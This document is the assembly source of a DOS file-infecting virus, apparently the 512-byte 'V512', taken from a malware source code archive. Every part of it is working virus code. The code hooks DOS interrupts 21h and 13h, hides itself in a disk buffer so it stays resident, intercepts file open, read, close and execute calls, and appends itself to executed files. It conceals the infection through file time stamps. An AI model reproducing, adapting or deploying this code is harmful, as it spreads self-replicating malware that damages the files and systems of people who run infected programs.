MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.v512.asm

313 lines
9.8 KiB
NASM
Raw Normal View History

2021-01-13 00:04:54 +00:00
name a
code1 segment byte
assume cs:code1,ds:code1
org 0004h
D4 = $
org 0050h
N50 = $
org 0100h
BegAddr = $
Begin:
mov si,04h
mov ds,si
lds dx,dword ptr [si+08h] ; get addr of int 13h into ds:dx
mov ah,013h
int 02fh ; return orig addr of int 13 into ds:dx
push ds
push dx
int 02fh
pop ax
mov di,offset BegAddr-8
stosw ; store orig int13 addr offset
pop ax
stosw ; and segment
mov ds,si
lds ax,dword ptr [si+040h] ; get addr of int21 into ds:ax
cmp ax,0117h
stosw ; store int21 addr offset
mov ax,ds
stosw ; and segment
push es ; really this is prog_begin segment
push di ; and offset (0100 for .COM)
jne N130
shl si,1
mov cx,01ffh
rep cmpsb
je N177
N130:
mov ah,052h ; DOS Fn - Get LIST of LISTS
int 021h
push es ; return: es:bx - pointer to DOS list of lists
mov si,0f8h ; here was stored addres of int13
les di,es:[bx+12h] ; pointer to first disk buffer
mov dx,es:[di+02] ; pointer to next disk buffer
mov cx,207h ; VirLen + 8
rep movs byte ptr es:[di],byte ptr ss:[si] ; Move v512 into
; first disk buffer
mov ds,cx ; ds=0
mov di,016h
mov word ptr [di+06eh],0117h ; set int21 to this offset
mov word ptr [di+070h],es ; and segment
pop ds ; restore pointer to DOS list of lists into ds:bx
mov word ptr [bx+014h],dx ; set 2-nd disk buffer as first
; => hide 1-st disk buffer
mov dx,cs
mov ds,dx
mov bx,word ptr [di-014h] ; get top of available system
; memory in paragraphs
dec bh ; and decement it
mov es,bx ; es=last memory segment
cmp dx,word ptr [di] ; dx=Parents ID ?
mov ds,word ptr [di] ; ds=PID
mov dx,word ptr [di] ; dx=Parents PID !!!
dec dx
mov ds,dx ; ds=P PID-1 !!!
mov si,cx ; si=0
mov dx,di
mov cl,028h
rep movsw ; P PID-1:0 -> MemTop-1:16
mov ds,bx ; ds=MemTop-1
jb N186 ; ?????
N177:
mov si,cx ; si=0
mov ds,word ptr ss:[si+02ch] ; ds=Segment address of DOS environment
N17d:
lodsw
dec si
or ax,ax
jne N17d ; find filespec of THIS file !!!
lea dx,word ptr [si+03h] ; and move pointer to ds:dx (FoolBoy!)
N186:
mov ax,03d00h ; Open a File
int 021h ; AL Open mode
; DS:DX Pointer to filename (ASCIIZ string)
xchg ax,bx
pop dx
push dx
push cs
pop ds
push ds
pop es
mov cl,02h
mov ah,03fh
int 021h ; Read from File or Device, Using a Handle
; BX File handle
; CX Number of bytes to read
; DS:DX Address of buffer
mov dl,cl
xchg cl,ch
mov al,byte ptr ds:BegAddr
cmp al,byte ptr ds:D2ff
jne N1a7
mov ah,03fh
N1a7:
jmp N50
GetFileTblNum:
push bx
mov ax,01220h ; get system file table number
int 02fh ; bx = file handle
mov bl,byte ptr es:[di] ; = system file table entry number for
; file handle
mov ax,01216h ; get address of system fcb
int 02fh ; bx = system file table number
; return: ES:DI - system file table entry
pop bx
lea di,word ptr [di+015h]
mov bp,0200h
ret
N1c0:
mov ah,03fh
N1c2:
pushf
push cs
call N248
ret
DOS_ReadFromFile:
call GetFileTblNum
mov si,word ptr es:[di]
call N1c0
jb N1f7
cmp si,bp
jnb N1f7
push ax
mov al,byte ptr es:[di-08h]
not al
and al,01fh
jne N1f6
add si,word ptr es:[di-04h]
xchg si,word ptr es:[di]
add word ptr es:[di-04h],bp
call N1c0
sub word ptr es:[di-04h],bp
xchg ax,si
stosw
N1f6:
pop ax
N1f7:
pop es
pop si
pop di
pop bp
boza proc far
ret 2
boza endp
DOS_QueryFileTimeDate: ; AL : 0 to query the time/date of a file
call N1c2
D200 = $-1
lahf
mov al,cl
and al,01fh
cmp al,01fh
D207 = $-1
jne N20c
xor cl,al
N20c:
sahf
jmp N1f6
Int21Entry:
push bp
push di
push si
push es
cld
mov bp,sp
mov es,word ptr [bp+0ah]
mov di,0117h
mov si,di
cmps word ptr cs:[si],word ptr es:[di]
je N244
cmp ah,03fh ; DOS Fn 3fH: Read from File via Handle
je DOS_ReadFromFile
push ax
cmp ax,05700h ; DOS Fn 57H: Set/Query File Time/Date
je DOS_QueryFileTimeDate
cmp ah,03eh ; DOS Fn 3eH: Close a File Handle
pushf
push bx
push cx
push dx
push ds
je DOS_CloseFileHandle
cmp ax,04b00h ; DOS Fn 4bH: Execute or Load a Program -- EXEC
je DOS_EXEC
INT21end:
pop ds
pop dx
pop cx
pop bx
popf
je N1f6
pop ax
N244:
pop es
pop si
pop di
pop bp
N248:
jmp dword ptr cs:D4 ; ?????
DOS_EXEC:
mov ah,03dh ; DS:DX : address of an ASCIIZ string of a
int 021h ; filespec
; AL : Open Mode
xchg ax,bx
DOS_CloseFileHandle: ; BX : file handle
call GetFileTblNum
jb INT21end ; exit on error
xor cx,cx
xchg cx,bp
mov ds,bp
mov si,04ch
lodsw
push ax
lodsw
push ax
mov ax,02524h ; DOS Fn 25H: Set Interrupt Vector
push ax
push word ptr [si+040h]
push word ptr [si+042h]
push cs
pop ds ; AL : interrupt number 24h
; INT 24H: Critical Error Handler
mov dx,067h ; DS:DX : interrupt vector - address
int 021h ; of code to handle an interrupt
lds dx,dword ptr [si-050h]
mov al,013h ; AL : interrupt number 13h
int 021h ; INT 13H: Disk I/O
push es
pop ds
mov word ptr [di],bp
mov byte ptr [di-013h],ch
cmp word ptr [di+014h],04d4fh
jne N2be
mov dx,word ptr [di-04h]
add dh,ch
cmp dh,04h
jb N2be
test byte ptr [di-011h],04h
jne N2be
lds si,dword ptr [di-0eh]
cmp byte ptr [si+04h],ch
jbe N2aa
dec dx
shr dh,1
and dh,byte ptr [si+04h]
je N2be
N2aa:
mov ds,bp
mov dx,cx
call N1c0
mov si,dx
dec cx
N2b4:
lodsb
cmp al,byte ptr cs:Dfe07[si]
Dfe07=0fe07h
jne N2d1
loop N2b4
N2be:
mov ah,03eh
call N1c2
pop ds
pop dx
pop ax
int 021h
N2c8:
pop ds
pop dx
mov al,013h
int 021h
N2ce:
jmp INT21end
N2d1:
mov cx,dx
mov si,word ptr es:[di-04h]
mov word ptr es:[di],si
mov ah,040h
int 021h
N2de:
mov al,byte ptr ds:D200
push es
pop ds
mov word ptr [di-04h],si
mov word ptr [di],bp
or byte ptr [di-08h],01fh
push cs
pop ds
mov byte ptr ds:D207,al
mov dx,08h
mov ah,040h
int 021h
N2f8:
or byte ptr es:[di-0fh],040h
jmp N2be
D2ff = $
N2ff:
db 0e9h
org 336h
N336 proc near
N336 endp
code1 ends
end begin